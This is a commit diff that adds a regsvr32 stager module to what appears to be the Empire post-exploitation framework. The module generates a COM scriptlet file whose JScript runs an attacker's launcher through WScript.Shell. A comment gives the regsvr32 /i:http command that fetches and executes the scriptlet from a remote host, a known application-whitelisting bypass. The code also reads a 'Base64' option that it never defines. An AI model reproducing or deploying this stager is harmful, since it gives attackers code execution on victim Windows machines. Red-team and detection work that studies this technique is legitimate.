Create regsvr32.py

lib/stagers/regsvr32.py

@@ -0,0 +1,106 @@
+from lib.common import helpers
+
+class Stager:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'regsvr32',
+
+            'Author': ['@subTee', '@enigma0x3'],
+
+            'Description': ('Generates an sct file (COM Scriptlet) Host this anywhere'),
+
+            'Comments': [
+                'On the endpoint simple lauch regsvr32 /u /n /s /i:http://127.0.0.1/file.sct scrobj.dll '
+            ]
+        }
+
+        # any options needed by the stager, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Listener': {
+                'Description':   'Listener to generate stager for.',
+                'Required':   True,
+                'Value':   ''
+            },
+            'StagerRetries': {
+                'Description':   'Times for the stager to retry connecting.',
+                'Required':   False,
+                'Value':   '0'
+            },
+            'OutFile': {
+                'Description':   'File to output SCT to, otherwise displayed on the screen.',
+                'Required':   False,
+                'Value':   '/tmp/launcher.sct'
+            },
+            'UserAgent': {
+                'Description':   'User-agent string to use for the staging request (default, none, or other).',
+                'Required':   False,
+                'Value':   'default'
+            },
+            'Proxy': {
+                'Description':   'Proxy to use for request (default, none, or other).',
+                'Required':   False,
+                'Value':   'default'
+            },
+            'ProxyCreds': {
+                'Description':   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
+                'Required':   False,
+                'Value':   'default'
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+    def generate(self):
+
+        # extract all of our options
+        listenerName = self.options['Listener']['Value']
+        base64 = self.options['Base64']['Value']
+        userAgent = self.options['UserAgent']['Value']
+        proxy = self.options['Proxy']['Value']
+        proxyCreds = self.options['ProxyCreds']['Value']
+        stagerRetries = self.options['StagerRetries']['Value']
+
+        encode = False
+        if base64.lower() == "true":
+            encode = True
+
+        # generate the launcher code
+        launcher = self.mainMenu.stagers.generate_launcher(
+            listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
+
+        if launcher == "":
+            print helpers.color("[!] Error in launcher command generation.")
+            return ""
+        else:
+            code = "<?XML version=\"1.0\"?>\n"
+            code += "<scriptlet>\n"
+            code += "<registration\n"
+            code +=     "description=\"Win32COMDebug\"\n"
+            code +=     "progid=\"Win32COMDebug\"\n"
+            code +=     "version=\"1.00\"\n"
+            code +=     "classid=\"{AAAA1111-0000-0000-0000-0000FEEDACDC}\"\n"
+            code += " >\n"
+            code += " <script language=\"JScript\">\n"
+            code += "      <![CDATA[\n"
+            code += "           var r = new ActiveXObject(\"WScript.Shell\").Run(\"" + launcher + "\");\n"
+            code += "      ]]>\n"
+            code += " </script>\n"
+            code += "</registration>\n"
+            code += "<public>\n"
+            code += "    <method name=\"Exec\"></method>\n"
+            code += "</public>\n"
+            code += "</scriptlet>\n"
+
+        return code